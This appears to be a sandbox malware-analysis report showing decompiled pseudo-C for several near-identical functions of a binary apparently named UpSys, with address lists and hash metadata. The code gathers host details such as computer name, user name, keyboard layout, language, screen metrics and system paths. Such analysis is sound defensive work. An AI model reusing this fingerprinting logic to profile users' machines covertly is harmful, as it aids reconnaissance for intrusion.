				if ( *((intOrPtr*)(_t170 + 0x3c)) != r12b) goto 0x40084dd8;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t170 + 0x3a)) != r12b) goto 0x40084dea;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t170 + 0x38)) != r12b) goto 0x40084dfc;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t170 + 0x36)) != r12b) goto 0x40084e0e;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t170 + 0x34)) != r12b) goto 0x40084e20;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t170 + 0x32)) != r12b) goto 0x40084e3d;
				goto 0x40084daa;
				_t161 =  *((intOrPtr*)(_t170 + 0x30)) - r12b;
				if ( *((intOrPtr*)(_t170 + 0x30)) != r12b) goto 0x40084e52;
				goto 0x4008483d;
				_t171 =  *0x400c88a8; // 0x3263d10
				_t116 =  *((intOrPtr*)(_t171 + 8));
				_t242 =  *0x400c88a8; // 0x3263d10
				E00000001140013120(_t171, _t175, _t264, _t242 + 0x10);
				r9d = 0x104;
				 *((long long*)(_t266 + 0x20)) = _t266 + 0xa0;
				E00000001140015DE0(_t175, L"InstallLanguage", __r9);
				r9d = 0x104;
				 *((long long*)(_t266 + 0x20)) = _t266 + 0xa0;
				E00000001140015DE0(_t175, L"SchemeLangID", __r9);
				r8d = 4;
				 *(_t266 + 0x628) =  *(_t266 + 0xa0) & 0x0000ffff;
				E00000001140040110( *(_t266 + 0xa0) & 0x0000ffff, _t161, _t266 + 0xa0, _t175, _t266 + 0xa0, _t261);
				GetKeyboardLayoutNameW();
				if (E00000001140016A44(E00000001140016E4C(_t266 + 0x3c0, L"1, 0, 0, 0"), _t266 + 0x3c0) <= 0) goto 0x40084f9c;
				_t176 = _t266 + 0x3c0;
				_t92 =  *(_t266 + 0x3c0) & 0x0000ffff;
				if (_t92 == 0x20) goto 0x40084f83;
				if (_t92 != 0x2c) goto 0x40084f7c;
				 *_t176 = 0x2e;
				goto 0x40084f7f;
				 *_t176 = _t92;
				_t175 =  &(_t176[0]);
				r14d = r14d + r12d;
				if (r14d - E00000001140016A44(_t92, _t266 + 0x3c0) < 0) goto 0x40084f63;
				_t174 = r14d + r12d;
				r14d = 0;
				 *((intOrPtr*)(_t266 + 0x3c0 + _t174 * 2)) = r14w;
				r8d = 0x104;
				_t94 = GetModuleFileNameW(??, ??, ??);
				E000000011400408D0(_t94, _t116, r12d, 0x2e, __ebp, _t174, _t175, _t266 + 0x60, _t261, _t264, L"SchemeLangID");
				GetDesktopWindow();
				GetWindowRect(??, ??);
				GetDesktopWindow();
				GetWindowRect(??, ??);
				GetDesktopWindow();
				GetDC(??);
				_t102 = GetDeviceCaps(??, ??);
				E00000001140007A40(_t175, _t264, _t174);
				_t264[2] = r12d;
				 *_t264 = _t102;
				ReleaseDC(??, ??);
				GetDesktopWindow();
				_t261 = _t174;
				GetDC(??);
				r8d = 0x104;
				GetEnvironmentVariableW(??, ??, ??);
				GetTempPathW();
				E00000001140015460(_t174, _t266 + 0xa0);
				 *(_t266 + 0x628) = 0x104;
				GetUserNameW(??, ??); // executed
				_t111 =  *0x400c5f48; // 0x4
				if (_t111 == 3) goto 0x40085116;
				if (_t111 != 4) goto L10;
				_t112 = E00000001140007A40(_t175, _t264, _t261);
				 *_t264 = r12d;
				_t264[2] = r12d;
				r12d = r14d;
				E00000001140002610(_t112, _t175, __r15);
				asm("inc ecx");
				return r12d;
			}






















                                                                                                                                                                                                        0x140084afb
                                                                                                                                                                                                        0x140084afb
                                                                                                                                                                                                        0x140084b42
                                                                                                                                                                                                        0x140084b4d
                                                                                                                                                                                                        0x140084b65
                                                                                                                                                                                                        0x140084b70
                                                                                                                                                                                                        0x140084b7b
                                                                                                                                                                                                        0x140084b82
                                                                                                                                                                                                        0x140084b87
                                                                                                                                                                                                        0x140084b8c
                                                                                                                                                                                                        0x140084b9e
                                                                                                                                                                                                        0x140084ba5
                                                                                                                                                                                                        0x140084baa
                                                                                                                                                                                                        0x140084bbc
                                                                                                                                                                                                        0x140084bca
                                                                                                                                                                                                        0x140084bcf
                                                                                                                                                                                                        0x140084bdb
                                                                                                                                                                                                        0x140084be0
                                                                                                                                                                                                        0x140084bef
                                                                                                                                                                                                        0x140084bf4
                                                                                                                                                                                                        0x140084c03
                                                                                                                                                                                                        0x140084c08
                                                                                                                                                                                                        0x140084c17
                                                                                                                                                                                                        0x140084c1c
                                                                                                                                                                                                        0x140084c2b
                                                                                                                                                                                                        0x140084c30
                                                                                                                                                                                                        0x140084c3f
                                                                                                                                                                                                        0x140084c44
                                                                                                                                                                                                        0x140084c53
                                                                                                                                                                                                        0x140084c58
                                                                                                                                                                                                        0x140084c67
                                                                                                                                                                                                        0x140084c6c
                                                                                                                                                                                                        0x140084c7b
                                                                                                                                                                                                        0x140084c80
                                                                                                                                                                                                        0x140084c96
                                                                                                                                                                                                        0x140084cad
                                                                                                                                                                                                        0x140084cb2
                                                                                                                                                                                                        0x140084cc1
                                                                                                                                                                                                        0x140084cc6
                                                                                                                                                                                                        0x140084cd5
                                                                                                                                                                                                        0x140084cda
                                                                                                                                                                                                        0x140084ce9
                                                                                                                                                                                                        0x140084cee
                                                                                                                                                                                                        0x140084d2b
                                                                                                                                                                                                        0x140084d44
                                                                                                                                                                                                        0x140084d4f
                                                                                                                                                                                                        0x140084d56
                                                                                                                                                                                                        0x140084d5d
                                                                                                                                                                                                        0x140084d62
                                                                                                                                                                                                        0x140084d6a
                                                                                                                                                                                                        0x140084d77
                                                                                                                                                                                                        0x140084d83
                                                                                                                                                                                                        0x140084d94
                                                                                                                                                                                                        0x140084daa
                                                                                                                                                                                                        0x140084dbf
                                                                                                                                                                                                        0x140084dca
                                                                                                                                                                                                        0x140084dd3
                                                                                                                                                                                                        0x140084ddc
                                                                                                                                                                                                        0x140084de5
                                                                                                                                                                                                        0x140084dee
                                                                                                                                                                                                        0x140084df7
                                                                                                                                                                                                        0x140084e00
                                                                                                                                                                                                        0x140084e09
                                                                                                                                                                                                        0x140084e12
                                                                                                                                                                                                        0x140084e1b
                                                                                                                                                                                                        0x140084e24
                                                                                                                                                                                                        0x140084e38
                                                                                                                                                                                                        0x140084e40
                                                                                                                                                                                                        0x140084e44
                                                                                                                                                                                                        0x140084e4d
                                                                                                                                                                                                        0x140084e5e
                                                                                                                                                                                                        0x140084e65
                                                                                                                                                                                                        0x140084e6d
                                                                                                                                                                                                        0x140084e7b
                                                                                                                                                                                                        0x140084e9b
                                                                                                                                                                                                        0x140084ea8
                                                                                                                                                                                                        0x140084ead
                                                                                                                                                                                                        0x140084ecd
                                                                                                                                                                                                        0x140084eda
                                                                                                                                                                                                        0x140084edf
                                                                                                                                                                                                        0x140084ef4
                                                                                                                                                                                                        0x140084efa
                                                                                                                                                                                                        0x140084f01
                                                                                                                                                                                                        0x140084f13
                                                                                                                                                                                                        0x140084f4c
                                                                                                                                                                                                        0x140084f4e
                                                                                                                                                                                                        0x140084f63
                                                                                                                                                                                                        0x140084f6c
                                                                                                                                                                                                        0x140084f75
                                                                                                                                                                                                        0x140084f77
                                                                                                                                                                                                        0x140084f7a
                                                                                                                                                                                                        0x140084f7c
                                                                                                                                                                                                        0x140084f7f
                                                                                                                                                                                                        0x140084f8b
                                                                                                                                                                                                        0x140084f9a
                                                                                                                                                                                                        0x140084f9c
                                                                                                                                                                                                        0x140084f9f
                                                                                                                                                                                                        0x140084faa
                                                                                                                                                                                                        0x140084fc0
                                                                                                                                                                                                        0x140084fc8
                                                                                                                                                                                                        0x140084fdb
                                                                                                                                                                                                        0x140084fff
                                                                                                                                                                                                        0x14008500d
                                                                                                                                                                                                        0x14008501c
                                                                                                                                                                                                        0x14008502a
                                                                                                                                                                                                        0x140085039
                                                                                                                                                                                                        0x140085045
                                                                                                                                                                                                        0x140085056
                                                                                                                                                                                                        0x140085061
                                                                                                                                                                                                        0x14008506c
                                                                                                                                                                                                        0x140085070
                                                                                                                                                                                                        0x140085073
                                                                                                                                                                                                        0x14008507e
                                                                                                                                                                                                        0x140085087
                                                                                                                                                                                                        0x14008508a
                                                                                                                                                                                                        0x1400850a6
                                                                                                                                                                                                        0x1400850ac
                                                                                                                                                                                                        0x1400850c4
                                                                                                                                                                                                        0x1400850d2
                                                                                                                                                                                                        0x1400850ec
                                                                                                                                                                                                        0x1400850f7
                                                                                                                                                                                                        0x140085102
                                                                                                                                                                                                        0x14008510b
                                                                                                                                                                                                        0x140085110
                                                                                                                                                                                                        0x140085119
                                                                                                                                                                                                        0x14008511e
                                                                                                                                                                                                        0x140085122
                                                                                                                                                                                                        0x140085126
                                                                                                                                                                                                        0x14008512c
                                                                                                                                                                                                        0x140085140
                                                                                                                                                                                                        0x140085153

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: FolderPath
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1514166925-0
                                                                                                                                                                                                        • Opcode ID: c94423af72b1719d77eabece9cd7634cd2cb2a38b970b03c0767ea8153936895
                                                                                                                                                                                                        • Instruction ID: 44edfbb3e6e2bc9809abcc7bc5b73f2cd8042df3b371d83465a4701fb90a8669
                                                                                                                                                                                                        • Opcode Fuzzy Hash: c94423af72b1719d77eabece9cd7634cd2cb2a38b970b03c0767ea8153936895
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 6AC0123260869081E7355755B055B9F2290F74D344F501115638A07D64CF38C504DB09
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140084AF4 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 41%
                                                                                                                                                                                                        			E00000001140084AF4(void* __ecx, void* __ebp, signed int* __rbx, signed long long __rsi, void* __r9, long long __r14, void* __r15) {
				long _t83;
				signed int _t92;
				long _t94;
				int _t102;
				intOrPtr _t111;
				void* _t112;
				intOrPtr _t116;
				signed int _t122;
				long long* _t169;
				intOrPtr _t170;
				intOrPtr _t171;
				intOrPtr _t172;
				signed long long _t175;
				signed int* _t176;
				signed int* _t177;
				void* _t233;
				intOrPtr _t243;
				int* _t265;
				void* _t267;

				_t262 = __rsi;
				_t176 = __rbx;
				 *(_t267 + 0x628) = 0x104;
				GetComputerNameW(??, ??);
				GetWindowsDirectoryW();
				_t169 =  *0x400c88a8; // 0x3263d10
				if ( *((intOrPtr*)(_t169 + 0x3e)) == r14b) goto 0x40084baf;
				 *((long long*)(_t267 + 0x48)) = __r14;
				 *((long long*)(_t267 + 0x58)) = __r14;
				E0000000114003DEE0( *((intOrPtr*)(_t169 + 0x3e)) - r14b, _t267 + 0x48);
				 *_t169();
				E0000000114003DF10(_t267 + 0x48);
				goto 0x400848cd;
				GetSystemDirectoryW(??, ??);
				E00000001140007A40(__rbx, _t265, __rsi);
				 *_t265 = r14d;
				E00000001140007A40(_t176, _t265, _t262);
				 *_t265 = 6;
				E00000001140007A40(_t176, _t265, _t262);
				 *_t265 = 3;
				E00000001140007A40(_t176, _t265, _t262);
				 *_t265 = 9;
				E00000001140007A40(_t176, _t265, _t262);
				 *_t265 = 5;
				E00000001140007A40(_t176, _t265, _t262);
				 *_t265 = 0xa;
				E00000001140007A40(_t176, _t265, _t262);
				 *_t265 = 2;
				E00000001140007A40(_t176, _t265, _t262);
				 *_t265 = 7;
				E00000001140007A40(_t176, _t265, _t262);
				 *_t265 = 8;
				E00000001140007A40(_t176, _t265, _t262);
				 *_t265 = 4;
				if ( *0x400b549a == r12b) goto 0x40085119;
				E00000001140007A40(_t176, _t265, _t262);
				 *_t265 = 0x40;
				E00000001140007A40(_t176, _t265, _t262);
				 *_t265 = 0x41;
				E00000001140007A40(_t176, _t265, _t262);
				 *_t265 = 0x42;
				E00000001140007A40(_t176, _t265, _t262);
				 *_t265 = 0x43;
				E00000001140042150(_t176[0x70], 0x400c7ef0);
				_t83 = GetCurrentDirectoryW();
				_t170 =  *0x400c88a8; // 0x3263d10
				_t122 =  *(_t170 + 0x40) & 0x0000ffff;
				if (_t122 == r14d) goto 0x40084d88;
				if (_t122 == 6) goto 0x40084d7c;
				if (_t122 != 9) goto 0x40084e52;
				goto 0x4008483d;
				goto 0x4008483a;
				E000000011400163F0(_t83);
				_t233 =  ==  ? L"X86" : L"X64";
				_t171 =  *0x400c88a8; // 0x3263d10
				if ( *((intOrPtr*)(_t171 + 0x3c)) != r12b) goto 0x40084dd8;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t171 + 0x3a)) != r12b) goto 0x40084dea;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t171 + 0x38)) != r12b) goto 0x40084dfc;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t171 + 0x36)) != r12b) goto 0x40084e0e;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t171 + 0x34)) != r12b) goto 0x40084e20;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t171 + 0x32)) != r12b) goto 0x40084e3d;
				goto 0x40084daa;
				_t162 =  *((intOrPtr*)(_t171 + 0x30)) - r12b;
				if ( *((intOrPtr*)(_t171 + 0x30)) != r12b) goto 0x40084e52;
				goto 0x4008483d;
				_t172 =  *0x400c88a8; // 0x3263d10
				_t116 =  *((intOrPtr*)(_t172 + 8));
				_t243 =  *0x400c88a8; // 0x3263d10
				E00000001140013120(_t172, _t176, _t265, _t243 + 0x10);
				r9d = 0x104;
				 *((long long*)(_t267 + 0x20)) = _t267 + 0xa0;
				E00000001140015DE0(_t176, L"InstallLanguage", __r9);
				r9d = 0x104;
				 *((long long*)(_t267 + 0x20)) = _t267 + 0xa0;
				E00000001140015DE0(_t176, L"SchemeLangID", __r9);
				r8d = 4;
				 *(_t267 + 0x628) =  *(_t267 + 0xa0) & 0x0000ffff;
				E00000001140040110( *(_t267 + 0xa0) & 0x0000ffff, _t162, _t267 + 0xa0, _t176, _t267 + 0xa0, _t262);
				GetKeyboardLayoutNameW();
				if (E00000001140016A44(E00000001140016E4C(_t267 + 0x3c0, L"1, 0, 0, 0"), _t267 + 0x3c0) <= 0) goto 0x40084f9c;
				_t177 = _t267 + 0x3c0;
				_t92 =  *(_t267 + 0x3c0) & 0x0000ffff;
				if (_t92 == 0x20) goto 0x40084f83;
				if (_t92 != 0x2c) goto 0x40084f7c;
				 *_t177 = 0x2e;
				goto 0x40084f7f;
				 *_t177 = _t92;
				_t176 =  &(_t177[0]);
				r14d = r14d + r12d;
				if (r14d - E00000001140016A44(_t92, _t267 + 0x3c0) < 0) goto 0x40084f63;
				_t175 = r14d + r12d;
				r14d = 0;
				 *((intOrPtr*)(_t267 + 0x3c0 + _t175 * 2)) = r14w;
				r8d = 0x104;
				_t94 = GetModuleFileNameW(??, ??, ??);
				E000000011400408D0(_t94, _t116, r12d, 0x2e, __ebp, _t175, _t176, _t267 + 0x60, _t262, _t265, L"SchemeLangID");
				GetDesktopWindow();
				GetWindowRect(??, ??);
				GetDesktopWindow();
				GetWindowRect(??, ??);
				GetDesktopWindow();
				GetDC(??);
				_t102 = GetDeviceCaps(??, ??);
				E00000001140007A40(_t176, _t265, _t175);
				_t265[2] = r12d;
				 *_t265 = _t102;
				ReleaseDC(??, ??);
				GetDesktopWindow();
				_t262 = _t175;
				GetDC(??);
				r8d = 0x104;
				GetEnvironmentVariableW(??, ??, ??);
				GetTempPathW();
				E00000001140015460(_t175, _t267 + 0xa0);
				 *(_t267 + 0x628) = 0x104;
				GetUserNameW(??, ??); // executed
				_t111 =  *0x400c5f48; // 0x4
				if (_t111 == 3) goto 0x40085116;
				if (_t111 != 4) goto L11;
				_t112 = E00000001140007A40(_t176, _t265, _t262);
				 *_t265 = r12d;
				_t265[2] = r12d;
				r12d = r14d;
				E00000001140002610(_t112, _t176, __r15);
				asm("inc ecx");
				return r12d;
			}






















                                                                                                                                                                                                        0x140084af4
                                                                                                                                                                                                        0x140084af4
                                                                                                                                                                                                        0x140084b42
                                                                                                                                                                                                        0x140084b4d
                                                                                                                                                                                                        0x140084b65
                                                                                                                                                                                                        0x140084b70
                                                                                                                                                                                                        0x140084b7b
                                                                                                                                                                                                        0x140084b82
                                                                                                                                                                                                        0x140084b87
                                                                                                                                                                                                        0x140084b8c
                                                                                                                                                                                                        0x140084b9e
                                                                                                                                                                                                        0x140084ba5
                                                                                                                                                                                                        0x140084baa
                                                                                                                                                                                                        0x140084bbc
                                                                                                                                                                                                        0x140084bca
                                                                                                                                                                                                        0x140084bcf
                                                                                                                                                                                                        0x140084bdb
                                                                                                                                                                                                        0x140084be0
                                                                                                                                                                                                        0x140084bef
                                                                                                                                                                                                        0x140084bf4
                                                                                                                                                                                                        0x140084c03
                                                                                                                                                                                                        0x140084c08
                                                                                                                                                                                                        0x140084c17
                                                                                                                                                                                                        0x140084c1c
                                                                                                                                                                                                        0x140084c2b
                                                                                                                                                                                                        0x140084c30
                                                                                                                                                                                                        0x140084c3f
                                                                                                                                                                                                        0x140084c44
                                                                                                                                                                                                        0x140084c53
                                                                                                                                                                                                        0x140084c58
                                                                                                                                                                                                        0x140084c67
                                                                                                                                                                                                        0x140084c6c
                                                                                                                                                                                                        0x140084c7b
                                                                                                                                                                                                        0x140084c80
                                                                                                                                                                                                        0x140084c96
                                                                                                                                                                                                        0x140084cad
                                                                                                                                                                                                        0x140084cb2
                                                                                                                                                                                                        0x140084cc1
                                                                                                                                                                                                        0x140084cc6
                                                                                                                                                                                                        0x140084cd5
                                                                                                                                                                                                        0x140084cda
                                                                                                                                                                                                        0x140084ce9
                                                                                                                                                                                                        0x140084cee
                                                                                                                                                                                                        0x140084d2b
                                                                                                                                                                                                        0x140084d44
                                                                                                                                                                                                        0x140084d4f
                                                                                                                                                                                                        0x140084d56
                                                                                                                                                                                                        0x140084d5d
                                                                                                                                                                                                        0x140084d62
                                                                                                                                                                                                        0x140084d6a
                                                                                                                                                                                                        0x140084d77
                                                                                                                                                                                                        0x140084d83
                                                                                                                                                                                                        0x140084d94
                                                                                                                                                                                                        0x140084daa
                                                                                                                                                                                                        0x140084dbf
                                                                                                                                                                                                        0x140084dca
                                                                                                                                                                                                        0x140084dd3
                                                                                                                                                                                                        0x140084ddc
                                                                                                                                                                                                        0x140084de5
                                                                                                                                                                                                        0x140084dee
                                                                                                                                                                                                        0x140084df7
                                                                                                                                                                                                        0x140084e00
                                                                                                                                                                                                        0x140084e09
                                                                                                                                                                                                        0x140084e12
                                                                                                                                                                                                        0x140084e1b
                                                                                                                                                                                                        0x140084e24
                                                                                                                                                                                                        0x140084e38
                                                                                                                                                                                                        0x140084e40
                                                                                                                                                                                                        0x140084e44
                                                                                                                                                                                                        0x140084e4d
                                                                                                                                                                                                        0x140084e5e
                                                                                                                                                                                                        0x140084e65
                                                                                                                                                                                                        0x140084e6d
                                                                                                                                                                                                        0x140084e7b
                                                                                                                                                                                                        0x140084e9b
                                                                                                                                                                                                        0x140084ea8
                                                                                                                                                                                                        0x140084ead
                                                                                                                                                                                                        0x140084ecd
                                                                                                                                                                                                        0x140084eda
                                                                                                                                                                                                        0x140084edf
                                                                                                                                                                                                        0x140084ef4
                                                                                                                                                                                                        0x140084efa
                                                                                                                                                                                                        0x140084f01
                                                                                                                                                                                                        0x140084f13
                                                                                                                                                                                                        0x140084f4c
                                                                                                                                                                                                        0x140084f4e
                                                                                                                                                                                                        0x140084f63
                                                                                                                                                                                                        0x140084f6c
                                                                                                                                                                                                        0x140084f75
                                                                                                                                                                                                        0x140084f77
                                                                                                                                                                                                        0x140084f7a
                                                                                                                                                                                                        0x140084f7c
                                                                                                                                                                                                        0x140084f7f
                                                                                                                                                                                                        0x140084f8b
                                                                                                                                                                                                        0x140084f9a
                                                                                                                                                                                                        0x140084f9c
                                                                                                                                                                                                        0x140084f9f
                                                                                                                                                                                                        0x140084faa
                                                                                                                                                                                                        0x140084fc0
                                                                                                                                                                                                        0x140084fc8
                                                                                                                                                                                                        0x140084fdb
                                                                                                                                                                                                        0x140084fff
                                                                                                                                                                                                        0x14008500d
                                                                                                                                                                                                        0x14008501c
                                                                                                                                                                                                        0x14008502a
                                                                                                                                                                                                        0x140085039
                                                                                                                                                                                                        0x140085045
                                                                                                                                                                                                        0x140085056
                                                                                                                                                                                                        0x140085061
                                                                                                                                                                                                        0x14008506c
                                                                                                                                                                                                        0x140085070
                                                                                                                                                                                                        0x140085073
                                                                                                                                                                                                        0x14008507e
                                                                                                                                                                                                        0x140085087
                                                                                                                                                                                                        0x14008508a
                                                                                                                                                                                                        0x1400850a6
                                                                                                                                                                                                        0x1400850ac
                                                                                                                                                                                                        0x1400850c4
                                                                                                                                                                                                        0x1400850d2
                                                                                                                                                                                                        0x1400850ec
                                                                                                                                                                                                        0x1400850f7
                                                                                                                                                                                                        0x140085102
                                                                                                                                                                                                        0x14008510b
                                                                                                                                                                                                        0x140085110
                                                                                                                                                                                                        0x140085119
                                                                                                                                                                                                        0x14008511e
                                                                                                                                                                                                        0x140085122
                                                                                                                                                                                                        0x140085126
                                                                                                                                                                                                        0x14008512c
                                                                                                                                                                                                        0x140085140
                                                                                                                                                                                                        0x140085153

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: FolderPath
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1514166925-0
                                                                                                                                                                                                        • Opcode ID: 446b5feeede494c77a01c1820161de8d2c0750b698179775b5e65a722b24405a
                                                                                                                                                                                                        • Instruction ID: 4b40b680f67a97529d02b4c28ea5f4f1f368ea73ebe77668230a338aa6b8f497
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 446b5feeede494c77a01c1820161de8d2c0750b698179775b5e65a722b24405a
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 5BC0123260869081E7359795B055B9F2290F74D348F501115638A07D64CF38C100DB09
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140084B09 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 41%
                                                                                                                                                                                                        			E00000001140084B09(void* __ecx, void* __ebp, signed int* __rbx, signed long long __rsi, void* __r9, long long __r14, void* __r15) {
				long _t83;
				signed int _t92;
				long _t94;
				int _t102;
				intOrPtr _t111;
				void* _t112;
				intOrPtr _t116;
				signed int _t122;
				long long* _t166;
				intOrPtr _t167;
				intOrPtr _t168;
				intOrPtr _t169;
				signed long long _t172;
				signed int* _t173;
				signed int* _t174;
				void* _t230;
				intOrPtr _t240;
				int* _t262;
				void* _t264;

				_t259 = __rsi;
				_t173 = __rbx;
				 *(_t264 + 0x628) = 0x104;
				GetComputerNameW(??, ??);
				GetWindowsDirectoryW();
				_t166 =  *0x400c88a8; // 0x3263d10
				if ( *((intOrPtr*)(_t166 + 0x3e)) == r14b) goto 0x40084baf;
				 *((long long*)(_t264 + 0x48)) = __r14;
				 *((long long*)(_t264 + 0x58)) = __r14;
				E0000000114003DEE0( *((intOrPtr*)(_t166 + 0x3e)) - r14b, _t264 + 0x48);
				 *_t166();
				E0000000114003DF10(_t264 + 0x48);
				goto 0x400848cd;
				GetSystemDirectoryW(??, ??);
				E00000001140007A40(__rbx, _t262, __rsi);
				 *_t262 = r14d;
				E00000001140007A40(_t173, _t262, _t259);
				 *_t262 = 6;
				E00000001140007A40(_t173, _t262, _t259);
				 *_t262 = 3;
				E00000001140007A40(_t173, _t262, _t259);
				 *_t262 = 9;
				E00000001140007A40(_t173, _t262, _t259);
				 *_t262 = 5;
				E00000001140007A40(_t173, _t262, _t259);
				 *_t262 = 0xa;
				E00000001140007A40(_t173, _t262, _t259);
				 *_t262 = 2;
				E00000001140007A40(_t173, _t262, _t259);
				 *_t262 = 7;
				E00000001140007A40(_t173, _t262, _t259);
				 *_t262 = 8;
				E00000001140007A40(_t173, _t262, _t259);
				 *_t262 = 4;
				if ( *0x400b549a == r12b) goto 0x40085119;
				E00000001140007A40(_t173, _t262, _t259);
				 *_t262 = 0x40;
				E00000001140007A40(_t173, _t262, _t259);
				 *_t262 = 0x41;
				E00000001140007A40(_t173, _t262, _t259);
				 *_t262 = 0x42;
				E00000001140007A40(_t173, _t262, _t259);
				 *_t262 = 0x43;
				E00000001140042150(_t173[0x70], 0x400c7ef0);
				_t83 = GetCurrentDirectoryW();
				_t167 =  *0x400c88a8; // 0x3263d10
				_t122 =  *(_t167 + 0x40) & 0x0000ffff;
				if (_t122 == r14d) goto 0x40084d88;
				if (_t122 == 6) goto 0x40084d7c;
				if (_t122 != 9) goto 0x40084e52;
				goto 0x4008483d;
				goto 0x4008483a;
				E000000011400163F0(_t83);
				_t230 =  ==  ? L"X86" : L"X64";
				_t168 =  *0x400c88a8; // 0x3263d10
				if ( *((intOrPtr*)(_t168 + 0x3c)) != r12b) goto 0x40084dd8;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t168 + 0x3a)) != r12b) goto 0x40084dea;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t168 + 0x38)) != r12b) goto 0x40084dfc;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t168 + 0x36)) != r12b) goto 0x40084e0e;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t168 + 0x34)) != r12b) goto 0x40084e20;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t168 + 0x32)) != r12b) goto 0x40084e3d;
				goto 0x40084daa;
				_t159 =  *((intOrPtr*)(_t168 + 0x30)) - r12b;
				if ( *((intOrPtr*)(_t168 + 0x30)) != r12b) goto 0x40084e52;
				goto 0x4008483d;
				_t169 =  *0x400c88a8; // 0x3263d10
				_t116 =  *((intOrPtr*)(_t169 + 8));
				_t240 =  *0x400c88a8; // 0x3263d10
				E00000001140013120(_t169, _t173, _t262, _t240 + 0x10);
				r9d = 0x104;
				 *((long long*)(_t264 + 0x20)) = _t264 + 0xa0;
				E00000001140015DE0(_t173, L"InstallLanguage", __r9);
				r9d = 0x104;
				 *((long long*)(_t264 + 0x20)) = _t264 + 0xa0;
				E00000001140015DE0(_t173, L"SchemeLangID", __r9);
				r8d = 4;
				 *(_t264 + 0x628) =  *(_t264 + 0xa0) & 0x0000ffff;
				E00000001140040110( *(_t264 + 0xa0) & 0x0000ffff, _t159, _t264 + 0xa0, _t173, _t264 + 0xa0, _t259);
				GetKeyboardLayoutNameW();
				if (E00000001140016A44(E00000001140016E4C(_t264 + 0x3c0, L"1, 0, 0, 0"), _t264 + 0x3c0) <= 0) goto 0x40084f9c;
				_t174 = _t264 + 0x3c0;
				_t92 =  *(_t264 + 0x3c0) & 0x0000ffff;
				if (_t92 == 0x20) goto 0x40084f83;
				if (_t92 != 0x2c) goto 0x40084f7c;
				 *_t174 = 0x2e;
				goto 0x40084f7f;
				 *_t174 = _t92;
				_t173 =  &(_t174[0]);
